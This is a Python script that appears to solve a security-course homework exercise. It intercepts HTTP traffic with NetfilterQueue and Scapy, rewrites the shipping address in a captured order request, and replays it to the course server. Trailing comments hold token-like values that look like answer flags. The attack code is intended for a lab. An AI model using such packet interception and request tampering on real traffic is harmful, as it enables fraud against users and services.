interceptor.py
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	from netfilterqueue import NetfilterQueue
	from scapy.all import *
	import json
	import requests

	done=False

	def callback(pkt):
	global done
	if not done:
	print(pkt)
	ip = IP(pkt.get_payload())
	if ip.haslayer(Raw):
	http=ip[Raw].load.decode()
	http=http.splitlines()
	if http[0]=="POST /hw1/ex3/shipping HTTP/1.1":
	print(http)
	print(json.loads(http[-1]))
	payload=json.loads(http[-1])
	#header={}
	#header['Content_Type'] = 'application/json'
	#header['User-Agent'] = 'Dumb Generator'
	address='dennis.gankin@epfl.ch'
	key=payload['product']
	payload['shipping_address']=address
	print(payload)
	r=requests.post('http://com402.epfl.ch/hw1/ex3/shipping',json=payload)
	print(r.text)
	done=True


	pkt.accept()


	nfq = NetfilterQueue()

	nfq.bind(0, callback, 100)

	try:
	nfq.run()
	except KeyboardInterrupt:
	print('')

	nfq.unbind()

	#WX+Umvw7dmzM7VS+06Tol3OAoBG2gKJDxELOlk/Xd2M=
	#'shipping_address': 'lausanne', 'product': '9HF5yyMjbmmbcf1S0VA/qTel467giWASeIxeeYMS80c='